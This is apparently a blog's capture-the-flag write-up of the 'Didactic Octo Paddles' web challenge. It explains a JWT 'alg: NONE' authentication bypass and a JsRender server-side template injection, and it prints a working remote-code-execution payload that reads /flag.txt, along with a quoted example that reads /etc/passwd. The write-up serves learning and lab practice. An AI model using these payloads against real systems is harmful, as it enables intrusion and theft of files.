Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Didactic Octo Paddles

Overview

Background

You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.

Enumeration

Home page:

In here, we see there’s a login page.

Whenever I deal with a login page, I always try SQL injection to bypass the authentication, like simple ' OR 1=1-- -:

Nope.

Let’s read the source code

┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Didactic-Octo-Paddles)-[2023.03.19|15:14:19(HKT)]
└> file web_didactic_octo_paddle.zip 
web_didactic_octo_paddle.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Didactic-Octo-Paddles)-[2023.03.19|15:14:20(HKT)]
└> unzip web_didactic_octo_paddle.zip      
Archive:  web_didactic_octo_paddle.zip
   creating: web_didactic_octo_paddle/
   creating: web_didactic_octo_paddle/config/
  inflating: web_didactic_octo_paddle/config/supervisord.conf  
  inflating: web_didactic_octo_paddle/Dockerfile  
 extracting: web_didactic_octo_paddle/flag.txt  
  inflating: web_didactic_octo_paddle/build_docker.sh  
   creating: web_didactic_octo_paddle/challenge/
   creating: web_didactic_octo_paddle/challenge/middleware/
  inflating: web_didactic_octo_paddle/challenge/middleware/AuthMiddleware.js  
  inflating: web_didactic_octo_paddle/challenge/middleware/AdminMiddleware.js  
  inflating: web_didactic_octo_paddle/challenge/index.js  
   creating: web_didactic_octo_paddle/challenge/utils/
  inflating: web_didactic_octo_paddle/challenge/utils/database.js  
  inflating: web_didactic_octo_paddle/challenge/utils/authorization.js  
  inflating: web_didactic_octo_paddle/challenge/package.json  
   creating: web_didactic_octo_paddle/challenge/static/
   creating: web_didactic_octo_paddle/challenge/static/css/
  inflating: web_didactic_octo_paddle/challenge/static/css/main.css  
   creating: web_didactic_octo_paddle/challenge/static/images/
  inflating: web_didactic_octo_paddle/challenge/static/images/Parasite Punisher.png  
  inflating: web_didactic_octo_paddle/challenge/static/images/Octo Alien Annihilator.png  
  inflating: web_didactic_octo_paddle/challenge/static/images/Didactic Alien Destroyer.png  
  inflating: web_didactic_octo_paddle/challenge/static/images/River Rescuer.png  
  inflating: web_didactic_octo_paddle/challenge/static/images/favicon.png  
  inflating: web_didactic_octo_paddle/challenge/static/images/Relic Retriever Joker.png  
  inflating: web_didactic_octo_paddle/challenge/static/images/Hack and Slash.png  
   creating: web_didactic_octo_paddle/challenge/static/js/
  inflating: web_didactic_octo_paddle/challenge/static/js/register.js  
  inflating: web_didactic_octo_paddle/challenge/static/js/main.js  
  inflating: web_didactic_octo_paddle/challenge/static/js/login.js  
   creating: web_didactic_octo_paddle/challenge/views/
  inflating: web_didactic_octo_paddle/challenge/views/login.jsrender  
  inflating: web_didactic_octo_paddle/challenge/views/index.jsrender  
  inflating: web_didactic_octo_paddle/challenge/views/cart.jsrender  
  inflating: web_didactic_octo_paddle/challenge/views/register.jsrender  
  inflating: web_didactic_octo_paddle/challenge/views/admin.jsrender  
   creating: web_didactic_octo_paddle/challenge/routes/
  inflating: web_didactic_octo_paddle/challenge/routes/index.js

After poking around at the source code, we can register an account: (/routes/index.js)

router.get("/register", async (req, res) => {
    res.render("register");
});

router.post("/register", async (req, res) => {
    try {
        const username = req.body.username;
        const password = req.body.password;

        if (!username || !password) {
            return res
                .status(400)
                .send(response("Username and password are required"));
        }

        const existingUser = await db.Users.findOne({
            where: { username: username },
        });
        if (existingUser) {
            return res
                .status(400)
                .send(response("Username already exists"));
        }

        await db.Users.create({
            username: username,
            password: bcrypt.hashSync(password),
        }).then(() => {
            res.send(response("User registered succesfully"));
        });
    } catch (error) {
        console.error(error);
        res.status(500).send({
            error: "Something went wrong!",
        });
    }
});

If we send a GET request to /register, it renders the register page.

If we send a POST request with username and password data, it’ll create a new account.

Also, there’s a /admin route:

router.get("/admin", AdminMiddleware, async (req, res) => {
    try {
        const users = await db.Users.findAll();
        const usernames = users.map((user) => user.username);

        res.render("admin", {
            users: jsrender.templates(`${usernames}`).render(),
        });
    } catch (error) {
        console.error(error);
        res.status(500).send("Something went wrong!");
    }
});

This route will render admin page. However, it’s using AdminMiddleware to check the user is authenticated and is admin.

/middleware/AdminMiddleware.js:

const jwt = require("jsonwebtoken");
const { tokenKey } = require("../utils/authorization");
const db = require("../utils/database");

const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

module.exports = AdminMiddleware;

In here, we see that it’s using JWT (JSON Web Token) to check the user is admin or not.

Hmm… That’s weird… Maybe we can abuse JWT’s algorithm other than none and HS256 to achieve privilege escalation??

Now, we can go to /register, and create a new account:

/login route:

router.get("/login", async (req, res) => {
    res.render("login");
});

router.post("/login", async (req, res) => {
    try {
        const username = req.body.username;
        const password = req.body.password;

        if (!username || !password) {
            return res
                .status(400)
                .send(response("Username and password are required"));
        }

        const user = await db.Users.findOne({
            where: { username: username },
        });
        if (!user) {
            return res
                .status(400)
                .send(response("Invalid username or password"));
        }

        const validPassword = bcrypt.compareSync(password, user.password);
        if (!validPassword) {
            return res
                .status(400)
                .send(response("Invalid username or password"));
        }

        const token = jwt.sign({ id: user.id }, tokenKey, {
            expiresIn: "1h",
        });

        res.cookie("session", token);

        return res.status(200).send(response("Logged in successfully"));
    } catch (error) {
        console.error(error);
        res.status(500).send({
            error: "Something went wrong!",
        });
    }
});

When we send a GET request to /login, it renders the login page.

When we send a POST request with username and password data, it’ll check the username and password is correct or not.

If all correct, use jwt.sign() with the tokenKey to sign a new JWT, which binds to our user session.

Seems like nothing weird. Let’s login:

Burp Suite HTTP history:

Note: It’s highlighted in green because of the “JSON Web Tokens” extension.

/:

Now, let’s go to jwt.io to decode our JWT session cookie:

In the header, using HS256 algorithm.

Payload:

{
  "id": 2,
  "iat": 1679212128,
  "exp": 1679215728
}

The id could be vulnerable to IDOR (Insecure Direct Object Reference), however, it’s verified by the tokenKey, so we couldn’t easily tamper with it.

To view the admin page, we can go to /admin:

As excepted, the JWT’s id’s value is not the admin one.

Let’s change the JWT algorithm to NONE:

As you can see, I was able to bypass it and view the /admin page. However, nothing weird other than viewing other users’ username

So, what’s our goal in this challenge?

I don’t see any flag in database, so no SQL injection?

Hmm… Maybe we can exploit SSTI (Server-Side Template Injection) in /admin by registering a SSTI payload??

But first, what is the template engine is the web application using?

In /routes/index.js, we see a JavaScript template engine called JsRender:

router.get("/admin", AdminMiddleware, async (req, res) => {
    try {
        const users = await db.Users.findAll();
        const usernames = users.map((user) => user.username);

        res.render("admin", {
            users: jsrender.templates(`${usernames}`).render(),
        });
    } catch (error) {
        console.error(error);
        res.status(500).send("Something went wrong!");
    }
});

As you can see, it’s parsing all the usernames to the admin template, and render it.

In /views/admin.jsrender, we can see this:

[...]
<body>
  <div class="d-flex justify-content-center align-items-center flex-column" style="height: 100vh;">
    <h1>Active Users</h1>
    <ul class="list-group small-list">
      \{\{for users.split(',')\}\}
        <li class="list-group-item d-flex justify-content-between align-items-center ">
          <span>\{\{>\}\}</span>
        </li>
      \{\{/for\}\}
    </ul>
  </div>
</body>
[...]

Hmm… Usernames are directly concatenated, no validation/sanitization at all!!

That being said, if we register an account that contains a SSTI RCE (Remote Code Execution) payload, we can read the flag!!

By Googling “JsRender SSTI”, I found this research from AppCheck:

In that blog, it has a JsRender SSTI RCE payload.

“JsRender is a light-weight but powerful templating engine, highly extensible, and optimized for high-performance rendering, without DOM dependency. It is designed for use in the browser or on Node.js, with or without jQuery.

JsRender and JsViews together provide the next-generation implementation of the official jQuery plugins JQuery Templates, and JQuery Data Link — and supersede those libraries.“

Templating engines such as JsRender allow the developer to create a static template to render a HTML page and embed dynamic data using Template Expressions. Typically, templating engines use a variation of the curly braces closure syntax to embed dynamic data, in JsRender the “evaluate” tag can be used to render the result of a JavaScript expression.

Due to the reflective nature of JavaScript, it is possible to break out of this restricted context. One method to achieve this is to access the special “constructor” property of a built-in JavaScript function, this gives us access to the function used to create the function (or object) we are referencing it from. For example, several JavaScript objects including strings have a default function named toString() which we can reference within the injected expression, e.g. \{\{:"test".toString()\}\}

From here we can access the function constructor which allows us to build a new function by calling it. In this example we create an anonymous function designed to display a JavaScript alert box.

\{\{:%22test%22.toString.constructor.call({},"alert('xss')")\}\}

Finally, we can call this newly created function by adding parentheses to complete the attack:

\{\{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()\}\}

Since we are within the Node.js environment we can gain remote code execution by executing the following payload (executing cat /etc/passwd in this example).

require('child_process').execSync('cat /etc/passwd')

There is however one move obstacle to overcome, the “require” function is not directly available in our newly created function. However, we are able to use reflection to access the same functionality via global.process.mainModule.constructor._load()

Armed with above information, we can register the following account in the username field to get the flag:

\{\{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()\}\}

Then login our previously created account:

Finally, using the JWT with header’s alg set to NONE, and payload’s id set to 1 to bypass the /admin page:

<li class="list-group-item d-flex justify-content-between align-items-center ">
    <span>HTB{Pr3_C0MP111N6_W17H0U7_P4DD13804rD1N6_5K1115}
    </span>
</li>

Boom! We finally got the flag!!

Conclusion

What we’ve learned:

  1. JWT Header’s "alg": "NONE" Authentication Bypass & RCE Via JsRender SSTI